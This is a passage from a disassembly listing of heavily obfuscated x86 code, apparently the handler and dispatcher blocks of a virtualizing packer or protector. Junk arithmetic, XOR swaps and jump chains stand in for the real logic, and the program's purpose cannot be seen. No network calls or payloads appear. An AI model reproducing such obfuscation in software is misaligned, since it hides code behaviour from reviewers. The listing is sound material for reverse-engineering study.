		and	eax, 3E5222DCh
		xor	eax, 3E502258h
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp+5Ch+var_5C]
		pop	esp
		mov	ecx, 651E13A3h
		xor	ecx, eax
		mov	eax, [esp+58h+var_58]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp+54h+var_54]
		jmp	loc_5988A6
; ---------------------------------------------------------------------------


loc_59FE77:				; CODE XREF: sub_57DD3A+1ECF8j
		mov	[esp+36h+var_36], eax
		mov	eax, esp
		push	392Eh
		mov	[esp+3Ah+var_3A], edx
		jmp	loc_591081
; ---------------------------------------------------------------------------


loc_59FE89:				; CODE XREF: sub_57DD3A+17009j
		mov	esi, [esp+26h+var_26]
		add	esp, 4
		push	edx
		mov	edx, 39060E5Fh
		dec	edx
		sub	edx, 0FB9F925Dh
		add	eax, 523F2131h
		add	eax, edx
		jmp	loc_5A05B2
; ---------------------------------------------------------------------------


loc_59FEA8:				; CODE XREF: sub_57DD3A+12AA4j
		test	cl, al
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59FEB0:				; DATA XREF: sub_57DD3A+103D2o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+1Ah+var_1A], cl
		pushf
		jmp	loc_59ECD6
; ---------------------------------------------------------------------------


loc_59FEC0:				; CODE XREF: sub_57DD3A+229C3j
		neg	eax
		jmp	loc_5A2782
; ---------------------------------------------------------------------------


loc_59FEC7:				; CODE XREF: sub_57DD3A+23B87j
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xor	edx, [esp+1Ah+var_1A]
		xor	[esp+1Ah+var_1A], edx
		xor	edx, [esp+1Ah+var_1A]
		jmp	loc_595339
; ---------------------------------------------------------------------------


loc_59FEDB:				; CODE XREF: sub_57DD3A+1C1F2j
		pop	eax
		sub	bl, dl
		pop	edx
		jmp	loc_59B528
; ---------------------------------------------------------------------------


loc_59FEE4:				; CODE XREF: sub_57DD3A+24D55j
		inc	ebp
		jmp	loc_59176F
; ---------------------------------------------------------------------------


loc_59FEEA:				; CODE XREF: sub_57DD3A+249B9j
		sub	ecx, 4
		xor	ecx, [esp+8+var_8]
		xor	[esp+8+var_8], ecx
		jmp	loc_59D937
; ---------------------------------------------------------------------------


loc_59FEFB:				; CODE XREF: sub_57DD3A+2410Cj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_5916A8
; ---------------------------------------------------------------------------


loc_59FF08:				; CODE XREF: sub_57DD3A+1210Ej
		sub	ah, dh
		push	[esp+80h+var_80]
		pop	edx
		add	esp, 4
		mov	ch, ah
		pop	eax
		sub	ch, 42h
		sub	esp, 4
		mov	[esp+7Ch+var_7C], eax
		mov	ah, ch
		mov	dh, ah
		pop	eax
		jmp	loc_597E62
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+78h+var_78]
		push	1E47h
		mov	[esp+7Ch+var_7C], ebp
		push	4560h
		mov	[esp+80h+var_80], esp
		add	[esp+80h+var_80], 4
		pop	ebp
		push	0C42h
		mov	[esp+80h+var_80], edx
		push	eax
		push	ecx
		push	edx
		mov	edx, 678542F9h
		jmp	loc_5993E9
; ---------------------------------------------------------------------------


loc_59FF5B:				; CODE XREF: sub_57DD3A+1BB3Cj
		mov	edi, 4B43081Fh
		sub	edx, 1AA842DAh
		sub	edx, edi
		add	edx, 1AA842DAh
		jmp	loc_59E6F5
; ---------------------------------------------------------------------------


loc_59FF73:				; CODE XREF: sub_57DD3A+1E72Dj
		pop	[esp+0Eh+var_E]
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		push	esp
		pop	ebx
		push	2EDBh
		jmp	loc_596E93
; ---------------------------------------------------------------------------


loc_59FF88:				; CODE XREF: sub_57DD3A+1BB31j
		mov	[esp+44h+var_46+2], edx
		mov	edx, 27FF10DDh
		inc	edx
		jmp	loc_59D119
; ---------------------------------------------------------------------------


loc_59FF96:				; CODE XREF: sub_57DD3A+24486j
		push	edx
		mov	dl, 0ECh
		jmp	loc_59A6B0
; ---------------------------------------------------------------------------


loc_59FF9E:				; CODE XREF: sub_57DD3A+12A9Ej
		pop	eax
		push	eax
		push	edx
		push	ebx
		mov	bl, 0A0h
		push	eax
		mov	al, bl
		mov	dh, al
		jmp	loc_590345
; ---------------------------------------------------------------------------


loc_59FFAE:				; CODE XREF: sub_57DD3A+19AFCj
		push	edi
		push	4
		pop	edi
		sub	ecx, 0D34763Eh
		sub	ecx, edi
		add	ecx, 0D34763Eh
		pop	edi
		xor	ecx, [esp+0Eh+var_E]
		xor	[esp+0Eh+var_E], ecx
		xor	ecx, [esp+0Eh+var_E]
		mov	esp, [esp+0Eh+var_E]
		mov	[esp+0Eh+var_E], eax
		jmp	loc_59DD9B
; ---------------------------------------------------------------------------


loc_59FFD8:				; CODE XREF: sub_57DD3A+1149Cj
		mov	[esp+10h+var_12+2], edx
		push	4
		pop	edx
		add	esi, edx
		jmp	loc_599044
; ---------------------------------------------------------------------------


loc_59FFE8:				; CODE XREF: sub_57DD3A+1A5DEj
		pop	edx
		add	esp, 4
		add	al, cl
		mov	ecx, [esp+8+var_8]
		jmp	loc_59306F
; ---------------------------------------------------------------------------


loc_59FFF6:				; CODE XREF: sub_57DD3A+1BBF4j
		xor	eax, ebx
		jmp	loc_59F1D4
; ---------------------------------------------------------------------------


loc_59FFFD:				; CODE XREF: sub_57DD3A+15738j
		push	edi
		push	edx
		mov	edx, 740A4E26h
		mov	edi, edx
		mov	edx, [esp+42h+var_42]
		jmp	loc_595E8A
; ---------------------------------------------------------------------------


loc_5A000E:				; CODE XREF: sub_57DD3A+1879Ej
		push	ecx
		mov	cl, 0F4h
		jmp	loc_59608A
; ---------------------------------------------------------------------------


loc_5A0016:				; CODE XREF: sub_57DD3A+1D52Ej
		add	al, ch
		jmp	loc_59CF1A
; ---------------------------------------------------------------------------


loc_5A001D:				; CODE XREF: sub_57DD3A+17DD0j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A0022:				; CODE XREF: sub_57DD3A+13F90j
		pop	edx
		jmp	loc_5994AE
; ---------------------------------------------------------------------------


loc_5A0028:				; CODE XREF: sub_57DD3A+11778j
		shl	ebp, 8
		jmp	loc_595FBA
; ---------------------------------------------------------------------------


loc_5A0030:				; CODE XREF: sub_57DD3A+1FDD8j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-16h+arg_12]
		pop	esp
		mov	[esp-1Ah+arg_16], ebx
		jmp	loc_5962DD
; ---------------------------------------------------------------------------


loc_5A0045:				; CODE XREF: sub_57DD3A+12CCFj
		pop	ebp
		shr	ecx, 5
		neg	ecx
		jmp	loc_59524D
; ---------------------------------------------------------------------------


loc_5A0050:				; CODE XREF: sub_57DD3A+22415j
		push	esi
		push	689E397Ch
		pop	esi
		jmp	loc_59BDD6
; ---------------------------------------------------------------------------


loc_5A005C:				; CODE XREF: sub_57DD3A+1AAA0j
		mov	ah, dl
		pop	edx
		shl	ah, 6
		jmp	loc_5A3074
; ---------------------------------------------------------------------------


loc_5A0067:				; CODE XREF: sub_57DD3A+1F880j
		pop	ecx
		add	ecx, 4
		push	esi
		push	ecx
		mov	ecx, 4
		mov	esi, ecx
		pop	ecx
		add	ecx, esi
		jmp	loc_593C7B
; ---------------------------------------------------------------------------


loc_5A007F:				; CODE XREF: sub_57DD3A+1A2DEj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+24h+var_26+2]
		pop	esp
		jmp	loc_5A25C6
; ---------------------------------------------------------------------------


loc_5A0096:				; CODE XREF: sub_57DD3A+150FFj
		sub	ebp, 4
		xchg	ebp, [esp+18h+var_1A+2]
		pop	esp
		mov	[esp+14h+var_16+2], edi
		mov	edi, 3A8E4079h
		sub	eax, edi
		pop	edi
		push	[esp+10h+var_12+2]
		mov	edx, [esp+14h+var_16+2]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_59F2C8
; ---------------------------------------------------------------------------


loc_5A00CC:				; CODE XREF: sub_57DD3A+15789j
		add	esp, 4
		pop	[esp+4+var_4]
		jmp	loc_597662
; ---------------------------------------------------------------------------


loc_5A00D7:				; CODE XREF: sub_57DD3A+1CD71j
		push	esi
		mov	esi, esp
		jmp	loc_5967ED
; ---------------------------------------------------------------------------


loc_5A00DF:				; CODE XREF: sub_57DD3A+1A8EBj
		pop	eax
		jmp	loc_590C3F
; ---------------------------------------------------------------------------


loc_5A00E5:				; CODE XREF: sub_57DD3A+14607j
		pop	edx
		not	edx
		xchg	edx, ebx
		xor	ebx, 0F06F093Ah
		add	esi, 5EF8332Eh
		sub	esi, ebx
		sub	esi, 5EF8332Eh
		jmp	loc_59F94A
; ---------------------------------------------------------------------------


loc_5A0103:				; CODE XREF: sub_57DD3A+1C9BFj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_593BFA
; ---------------------------------------------------------------------------


loc_5A0114:				; CODE XREF: sub_57DD3A+1A645j
		push	ebx
		push	7FA30EDBh
		pop	ebx
		add	ebx, 593A60E8h
		push	eax
		push	edx
		push	0EC76C98h
		jmp	$+5
		pop	edx
		jmp	loc_59AEDF
; ---------------------------------------------------------------------------


loc_5A0133:				; CODE XREF: sub_57DD3A+1589Fj
		pop	ebx
		xor	bl, al
		movzx	eax, al
		push	edx
		push	esp
		jmp	loc_59BF88
; ---------------------------------------------------------------------------


loc_5A0140:				; CODE XREF: sub_57DD3A+1B10Bj
		add	edi, ebx
		pop	ebx
		jmp	loc_59B59E
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+36h+var_36]
		push	ebx
		mov	ebx, esp
		jmp	loc_5A0050
; ---------------------------------------------------------------------------


loc_5A0154:				; CODE XREF: sub_57DD3A+25072j
		mov	ebx, 45CE0EA9h
		add	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 494C1BC9h
		add	eax, esi
		pop	esi
		pop	ebp
		push	ebx
		mov	ebx, 32284F15h
		sub	eax, 768B4936h
		add	eax, ebx
		add	eax, 768B4936h
		pop	ebx
		sub	eax, 294B1ED1h
		sub	eax, ebx
		push	ecx
		mov	ecx, 416E287Fh
		and	ecx, 9E87676h
		jmp	loc_59D74C
; ---------------------------------------------------------------------------


loc_5A0191:				; CODE XREF: sub_57DD3A+18F00j
		pop	edi
		add	ebp, 0B69311ACh
		push	esi
		jmp	loc_59B12E
; ---------------------------------------------------------------------------


loc_5A019E:				; CODE XREF: sub_57DD3A+220B8j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+6Ch+var_6C]
		pop	esp
		mov	[esp+68h+var_68], ecx
		jmp	loc_594BD4
; ---------------------------------------------------------------------------


loc_5A01B5:				; CODE XREF: sub_57DD3A+20EBEj
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+58h+var_58]
		pop	esp
		mov	[esp+54h+var_54], eax
		jmp	loc_594CD4
; ---------------------------------------------------------------------------


loc_5A01CB:				; CODE XREF: sub_57DD3A+1B90Aj
		add	esp, 4
		xor	ebp, eax
		jmp	loc_59ECFE
; ---------------------------------------------------------------------------


loc_5A01D8:				; CODE XREF: sub_57DD3A+1E820j
		mov	ebx, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_59D47C
; ---------------------------------------------------------------------------


loc_5A01E6:				; CODE XREF: sub_57DD3A+127B3j
		add	esp, 4
		jmp	loc_59186C
; ---------------------------------------------------------------------------


loc_5A01EE:				; CODE XREF: sub_57DD3A+1C557j
		xor	eax, esi
		jmp	loc_59F4CA
; ---------------------------------------------------------------------------


loc_5A01F5:				; CODE XREF: sub_57DD3A+20E3Fj
		mov	bl, ah
		mov	cl, bl
		jmp	loc_5A0A89
; ---------------------------------------------------------------------------


loc_5A01FE:				; CODE XREF: sub_57DD3A+15771j
		sub	esp, 4
		mov	[esp+42h+var_42], ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp+42h+var_42]
		add	esp, 4
		jmp	loc_5A3020
; ---------------------------------------------------------------------------


loc_5A0216:				; CODE XREF: sub_57DD3A+1E016j
		mov	esp, [esp+64h+var_64]
		shr	ecx, 7
		jmp	loc_59EEB5
; ---------------------------------------------------------------------------


loc_5A0221:				; CODE XREF: sub_57DD3A+24ECCj
		and	ebx, edx
		pop	edx
		push	ebx
		not	[esp+64h+var_64]
		jmp	loc_5A2E98
; ---------------------------------------------------------------------------


loc_5A022D:				; CODE XREF: sub_57DD3A+10DC3j
		add	esp, 4
		jmp	loc_592C71
; ---------------------------------------------------------------------------


loc_5A0235:				; CODE XREF: sub_57DD3A+16088j
		mov	esi, [esp+0]
		add	esp, 4
		pop	edi
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_58E5B3
; ---------------------------------------------------------------------------


loc_5A0246:				; DATA XREF: sub_57DD3A+103E6o
		pop	dword ptr fs:[edx]
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		push	[esp-0Ah+arg_6]
		jmp	loc_594DD7
; ---------------------------------------------------------------------------


loc_5A0256:				; CODE XREF: sub_57DD3A+1830Ej
		mov	[esp+5Ah+var_5C+2], ebp
		push	6593h
		mov	[esp+5Eh+var_60+2], esp
		add	[esp+5Eh+var_60+2], 4
		jmp	loc_5A2902
; ---------------------------------------------------------------------------


loc_5A026D:				; CODE XREF: sub_57DD3A+15196j
		xchg	eax, [esp+4Ah+var_4C+2]
		pop	esp
		jmp	loc_593092
; ---------------------------------------------------------------------------


loc_5A0276:				; CODE XREF: sub_57DD3A+17D3Bj
		mov	[esp+3Eh+var_3E], edi
		mov	edi, 4
		sub	edx, 223744EFh
		add	edx, edi
		push	esi
		sub	esp, 4
		jmp	loc_5924CC
; ---------------------------------------------------------------------------


loc_5A0292:				; CODE XREF: sub_57DD3A+15524j
		add	esp, 4
		push	ebp
		jmp	loc_59005F
; ---------------------------------------------------------------------------


loc_5A029E:				; CODE XREF: sub_57DD3A+1C823j
		add	eax, 4
		xchg	eax, [esp+6Ch+var_6C]
		pop	esp
		xor	ebx, 70F04342h
		mov	edi, [esp+68h+var_68]
		push	56E4h
		jmp	loc_595875
; ---------------------------------------------------------------------------


loc_5A02BA:				; CODE XREF: sub_57DD3A+1330Bj
		pop	ecx
		mov	edi, [esp+18h+var_1A+2]
		add	esp, 4
		add	esi, 67FA5B2Dh
		add	esi, ebx
		jmp	loc_590A1B
; ---------------------------------------------------------------------------


loc_5A02CE:				; CODE XREF: sub_57DD3A+11EEEj
		pop	ebx
		push	ecx
		mov	ch, 48h
		sub	byte ptr [esp+1Ch+var_1A+2], ch
		pop	ecx
		sub	byte ptr [esp+18h+var_1A+2], 28h
		add	byte ptr [esp+18h+var_1A+2], 10h
		mov	ah, byte ptr [esp+18h+var_1A+2]
		add	esp, 4
		inc	ah
		dec	ah
		xor	ah, 0A5h
		jmp	loc_58FBCF
; ---------------------------------------------------------------------------


loc_5A02F1:				; CODE XREF: sub_57DD3A+2103Dj
		pop	edi
		jmp	loc_59C177
; ---------------------------------------------------------------------------


loc_5A02F7:				; CODE XREF: sub_57DD3A+25557j
		or	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, 0E6EC4E49h
		sub	ecx, ebx
		jmp	loc_59AB0C
; ---------------------------------------------------------------------------


loc_5A0307:				; CODE XREF: sub_57DD3A+1E262j
		sub	ecx, 1572774Eh
		sub	ecx, 0FFFFFFFFh
		add	ecx, 0EEE982A5h
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 34C02D27h
		add	esi, 46582770h
		add	esi, 4E3B399Ah
		add	esi, ebx
		sub	esi, 4E3B399Ah
		sub	esi, 46582770h
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		add	ebx, 4
		push	2808h
		mov	[esp+2+var_4+2], esi
		mov	esi, 40831112h
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		neg	ebx
		push	56E0h
		mov	[esp+6+var_8+2], esi
		push	ebx
		jmp	loc_5973FC
; ---------------------------------------------------------------------------


loc_5A036F:				; CODE XREF: sub_57DD3A+1D42Aj
		xor	[esp+2Ah+var_26], edx
		push	[esp+2Ah+var_2A]
		pop	edx
		add	esp, 4
		push	[esp+26h+var_26]
		pop	eax
		sub	esp, 4
		mov	[esp+2Ah+var_2A], esi
		sub	esp, 4
		push	esp
		pop	[esp+32h+var_32]
		add	[esp+2Eh+var_2E], 4
		jmp	loc_5A0A60
; ---------------------------------------------------------------------------


loc_5A03A0:				; CODE XREF: sub_57DD3A+2135Dj
		pop	edx
		jmp	loc_59A7F8
; ---------------------------------------------------------------------------


loc_5A03A6:				; CODE XREF: sub_57DD3A+1C371j
		xor	ebp, [esp+28h+var_2A+2]
		xor	[esp+28h+var_2A+2], ebp
		xor	ebp, [esp+28h+var_2A+2]
		pop	esp
		or	eax, eax
		jz	loc_5A2EC9
		push	dword ptr [edi+1Ch]
		push	edx
		mov	edx, 67A35D82h
		jmp	loc_595734
; ---------------------------------------------------------------------------


loc_5A03C6:				; CODE XREF: sub_57DD3A+13DC3j
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5944EA
; ---------------------------------------------------------------------------


loc_5A03D3:				; CODE XREF: sub_57DD3A+1C256j
		add	esp, 4
		add	esi, 1AD3664h
		add	esi, ebx
		jmp	loc_593716
; ---------------------------------------------------------------------------


loc_5A03E3:				; CODE XREF: sub_57DD3A+11BD6j
		push	ebx
		mov	ebx, 38671BFFh
		jmp	loc_59AC59
; ---------------------------------------------------------------------------


loc_5A03EE:				; CODE XREF: sub_57DD3A+1EFFFj
		sub	bl, 18h
		add	bl, cl
		add	bl, 18h
		push	cx
		jmp	loc_59479D
; ---------------------------------------------------------------------------


loc_5A03FD:				; CODE XREF: sub_57DD3A+16571j
		or	eax, 31854DD6h
		push	ebp
		mov	ebp, 300C47D9h
		or	ebp, 1FFA0F25h
		shr	ebp, 1
		push	edi
		mov	edi, 2037792Bh
		jmp	loc_599600
; ---------------------------------------------------------------------------


loc_5A041B:				; CODE XREF: sub_57DD3A+1F5B9j
		mov	eax, [esp+16h+var_16]
		add	esp, 4
		jmp	loc_59B558
; ---------------------------------------------------------------------------


loc_5A0429:				; CODE XREF: sub_57DD3A+1ECBCj
		pop	ebx
		xor	dl, ch
		pop	ecx
		dec	dl
		not	dl
		push	eax
		mov	al, 6Eh
		sub	dl, al
		pop	eax
		xor	cl, dl
		pop	edx
		jmp	loc_598012
; ---------------------------------------------------------------------------


loc_5A043F:				; CODE XREF: sub_57DD3A+12CC3j
		mov	dh, 0E3h
		add	bh, dh
		pop	dx
		sub	al, bh
		push	[esp+0Ch+var_E+2]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+10h+var_12+2]
		pop	esp
		pop	cx
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------


loc_5A046A:				; DATA XREF: sub_57DD3A+10336o
		lodsd
		jmp	loc_59F188
; ---------------------------------------------------------------------------


loc_5A0470:				; CODE XREF: sub_57DD3A+1EA94j
		push	esi
		mov	esi, 1C34046Ch
		add	edi, esi
		pop	esi
		add	edi, ebp
		sub	edi, 1C34046Ch
		jmp	loc_593710
; ---------------------------------------------------------------------------


loc_5A0486:				; CODE XREF: sub_57DD3A+1FF62j
		add	ebp, edx
		mov	edx, [esp+46h+var_46]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4Ah+var_4C+2]
		jmp	loc_5A2561
; ---------------------------------------------------------------------------


loc_5A04A2:				; CODE XREF: sub_57DD3A+1485Fj
		add	eax, 58B03C06h
		add	eax, edx
		sub	eax, 58B03C06h
		pop	edx
		add	eax, 4
		push	eax
		push	[esp+18h+var_16+2]
		jmp	loc_5987A6
; ---------------------------------------------------------------------------


loc_5A04BE:				; CODE XREF: sub_57DD3A+23F8Bj
		mov	edx, [esp+1Ch+var_1E+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58FE4D
; ---------------------------------------------------------------------------


loc_5A04CF:				; CODE XREF: sub_57DD3A+11F5Bj
		sub	esi, 4
		xchg	esi, [esp+14h+var_16+2]
		pop	esp
		jmp	loc_596EF8
; ---------------------------------------------------------------------------


loc_5A04DB:				; CODE XREF: sub_57DD3A+1D017j
		movzx	cx, ah
		push	small 609Bh
		mov	word ptr [esp+34h+var_36+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A04F3:				; CODE XREF: sub_57DD3A+24C17j
		mov	edi, 5B0A00CDh
		add	edi, 0BA5A3305h
		sub	ecx, edi
		jmp	loc_58F0A9
; ---------------------------------------------------------------------------


loc_5A0505:				; CODE XREF: sub_57DD3A+230EDj
		xchg	edi, [esp+3Ah+var_3A]
		pop	esp
		jmp	loc_59B169
; ---------------------------------------------------------------------------


loc_5A050E:				; CODE XREF: sub_57DD3A+1BC42j
		push	ecx
		mov	ecx, esp
		jmp	loc_597EE5
; ---------------------------------------------------------------------------


loc_5A0516:				; CODE XREF: sub_57DD3A+1B748j
		add	esi, 482A6351h
		sub	esi, ebp
		sub	esi, 482A6351h
		jmp	loc_5945BC
; ---------------------------------------------------------------------------


loc_5A0529:				; CODE XREF: sub_57DD3A+113B6j
		mov	ch, dl
		mov	al, ch
		jmp	loc_59B0FF
; ---------------------------------------------------------------------------


loc_5A0532:				; CODE XREF: sub_57DD3A+1F1D3j
		mov	edx, [esp+14h+var_16+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_599F5D
; ---------------------------------------------------------------------------


loc_5A0540:				; CODE XREF: sub_57DD3A+1A521j
		pop	cx
		push	edx
		mov	dl, 45h
		and	dl, 6Ch
		push	ecx
		mov	cl, 99h
		xor	dl, cl
		pop	ecx
		push	ecx
		mov	cl, 10h
		push	small 72CFh
		mov	word ptr [esp+1Eh+var_1E], ax
		mov	ah, cl
		not	ah
		mov	cl, ah
		pop	ax
		jmp	loc_597AE9
; ---------------------------------------------------------------------------


loc_5A0566:				; CODE XREF: sub_57DD3A+1DCC9j
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, 423F0E50h
		inc	ecx
		jmp	loc_594BB0
; ---------------------------------------------------------------------------


loc_5A057B:				; CODE XREF: sub_57DD3A+1725Fj
		mov	[esp+0], edx
		mov	edx, 5A030052h
		xor	eax, edx
		mov	edx, [esp+0]
		jmp	loc_59F193
; ---------------------------------------------------------------------------


loc_5A058D:				; CODE XREF: sub_57DD3A+217F3j
		pop	ecx
		neg	ecx
		and	ecx, 257A2E21h
		and	ecx, 705467E3h
		add	ecx, 386E0AB2h
		jmp	loc_58F140
; ---------------------------------------------------------------------------


loc_5A05A7:				; CODE XREF: sub_57DD3A+17F88j
		xor	ebx, 49D8A1FBh
		jmp	loc_58E88A
; ---------------------------------------------------------------------------


loc_5A05B2:				; CODE XREF: sub_57DD3A+22169j
		sub	eax, 523F2131h
		jmp	loc_598EE8
; ---------------------------------------------------------------------------


loc_5A05BC:				; CODE XREF: sub_57DD3A+18E89j
		add	esp, 4
		jmp	loc_597312
; ---------------------------------------------------------------------------


loc_5A05C4:				; CODE XREF: sub_57DD3A+15BC3j
		add	edi, 4
		push	ecx
		mov	ecx, 3437319Bh
		or	ecx, 417466CBh
		sub	ecx, 266C719Ah
		xor	ecx, 0E073DB6h
		shl	ecx, 8
		add	ecx, 0F3C40904h
		jmp	loc_5907C5
; ---------------------------------------------------------------------------


loc_5A05F0:				; CODE XREF: sub_57DD3A+18955j
		push	ebp
		mov	ebp, 362008F4h
		xor	ebp, 51620E92h
		and	ebp, 2101002Ch
		add	ebp, 0A747822h
		sub	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 0
		add	eax, edx
		xor	[eax], ebx
		jmp	loc_5A2EC7
; ---------------------------------------------------------------------------


loc_5A061A:				; CODE XREF: sub_57DD3A+1C487j
		add	eax, ebx
		sub	eax, 2D5329FDh
		mov	ebx, [esp+0]
		add	esp, 4
		add	eax, ebx
		sub	esp, 4
		mov	[esp+0], esi
		push	57026279h
		pop	esi
		sub	eax, 79C10418h
		sub	eax, esi
		sub	esp, 4
		jmp	loc_596FBD
; ---------------------------------------------------------------------------


loc_5A0647:				; CODE XREF: sub_57DD3A+203D8j
		and	ch, 1Ah
		jmp	loc_59B261
; ---------------------------------------------------------------------------


loc_5A064F:				; CODE XREF: sub_57DD3A+1FE85j
		push	[esp+52h+var_50+2]
		mov	eax, [esp+56h+var_58+2]
		jmp	loc_59684F
; ---------------------------------------------------------------------------


loc_5A065B:				; CODE XREF: sub_57DD3A+25225j
		push	eax
		mov	eax, 128B172Ch
		mov	ebp, eax
		jmp	loc_59B879
; ---------------------------------------------------------------------------


loc_5A0668:				; CODE XREF: sub_57DD3A+1E40Ej
		add	esi, 0FEFF5FB6h
		add	eax, esi
		pop	esi
		add	eax, edx
		jmp	loc_598F91
; ---------------------------------------------------------------------------


loc_5A0678:				; CODE XREF: sub_57DD3A+1D9EEj
		xor	[esp+60h+var_60], ebx
		xor	ebx, [esp+60h+var_60]
		jmp	loc_59ECBF
; ---------------------------------------------------------------------------


loc_5A0683:				; CODE XREF: sub_57DD3A+18B4Fj
		pop	ecx
		sub	esp, 4
		mov	[esp+58h+var_58], ebx
		push	[esp+58h+var_54]
		pop	ebx
		pop	[esp+58h+var_58]
		mov	esp, [esp+54h+var_54]
		mov	[esp+54h+var_54], eax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A06A0:				; CODE XREF: sub_57DD3A+23227j
		push	5090DCBCh
		push	[esp+58h+var_58]
		pop	ebp
		jmp	loc_58EACD
; ---------------------------------------------------------------------------


loc_5A06AE:				; CODE XREF: sub_57DD3A+1CDF3j
		xchg	ecx, [esp+3Ch+var_3E+2]
		pop	esp
		xor	dh, 2Fh
		add	al, dh
		pop	edx
		push	small 7D1h
		mov	word ptr [esp+36h+var_36], dx
		push	eax
		jmp	loc_5996C6
; ---------------------------------------------------------------------------


loc_5A06C6:				; CODE XREF: sub_57DD3A+11E2Aj
		xor	esi, [esp+32h+var_32]
		xor	[esp+32h+var_32], esi
		jmp	loc_59C431
; ---------------------------------------------------------------------------


loc_5A06D1:				; CODE XREF: sub_57DD3A+1344Dj
		mov	[esp+64h+var_64], ebp
		push	5331h
		mov	[esp+68h+var_68], eax
		push	226223E6h
		pop	eax
		push	eax
		inc	[esp+6Ch+var_6C]
		jmp	loc_58F363
; ---------------------------------------------------------------------------


loc_5A06EB:				; CODE XREF: sub_57DD3A+15CF4j
		push	[esp+24h+var_26+2]
		pop	edi
		jmp	loc_590D27
; ---------------------------------------------------------------------------


loc_5A06F4:				; CODE XREF: sub_57DD3A+161A0j
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 64235F4Ah
		jmp	loc_59FEC0
; ---------------------------------------------------------------------------


loc_5A0702:				; CODE XREF: sub_57DD3A+22B0Fj
		push	[esp+58h+var_58]
		pop	ecx
		jmp	loc_59CECD
; ---------------------------------------------------------------------------


loc_5A070B:				; CODE XREF: sub_57DD3A+13145j
		push	ecx
		mov	ecx, 0B503BCD8h
		push	ecx
		jmp	loc_5924D9
; ---------------------------------------------------------------------------


loc_5A0717:				; CODE XREF: sub_57DD3A+17A7Ej
		sub	esp, 4
		mov	[esp+66h+var_68+2], ebp
		mov	ebp, 16E24A0h
		xor	ebp, 61A956EDh
		push	ecx
		push	ebp
		mov	ebp, 34837F4Bh
		jmp	loc_5919D8
; ---------------------------------------------------------------------------


loc_5A0734:				; CODE XREF: sub_57DD3A+19250j
		mov	edx, esp
		jmp	loc_5A1655
; ---------------------------------------------------------------------------


loc_5A073B:				; CODE XREF: sub_57DD3A+22DE4j
		push	eax
		mov	ah, 0E7h
		xor	ah, 2Ch
		jmp	loc_5A10D6
; ---------------------------------------------------------------------------


loc_5A0746:				; CODE XREF: sub_57DD3A+157A2j
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], ebx
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], edx
		jmp	loc_58F825
; ---------------------------------------------------------------------------


loc_5A0766:				; CODE XREF: sub_57DD3A+1FCCDj
		push	eax
		mov	eax, 5C205D94h
		not	eax
		sub	eax, 64D42237h
		dec	eax
		add	eax, 0EBF2A81Ah
		xor	ebx, eax
		pop	eax
		jmp	loc_59EA8E
; ---------------------------------------------------------------------------


loc_5A0781:				; CODE XREF: sub_57DD3A+23CAEj
		xor	ecx, [esp+6Ch+var_6C]
		xor	[esp+6Ch+var_6C], ecx
		xor	ecx, [esp+6Ch+var_6C]
		pop	esp
		mov	eax, [esp+68h+var_68]
		jmp	loc_592941
; ---------------------------------------------------------------------------


loc_5A0793:				; CODE XREF: sub_57DD3A+18552j
		pop	esp
		jmp	loc_597344
; ---------------------------------------------------------------------------


loc_5A0799:				; CODE XREF: sub_57DD3A+22B9Cj
		pop	esi
		sub	ebx, edx
		add	ebx, 5E6D31A5h
		sub	ebx, 75492DDEh
		pop	edx
		add	ebx, 40E73D33h
		jmp	loc_59A9A7
; ---------------------------------------------------------------------------


loc_5A07B4:				; CODE XREF: sub_57DD3A+1E2B7j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_599F95
; ---------------------------------------------------------------------------


loc_5A07C2:				; CODE XREF: sub_57DD3A+18517j
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		xor	[esp+4Ch+var_4C], esi
		jmp	loc_5A0A42
; ---------------------------------------------------------------------------


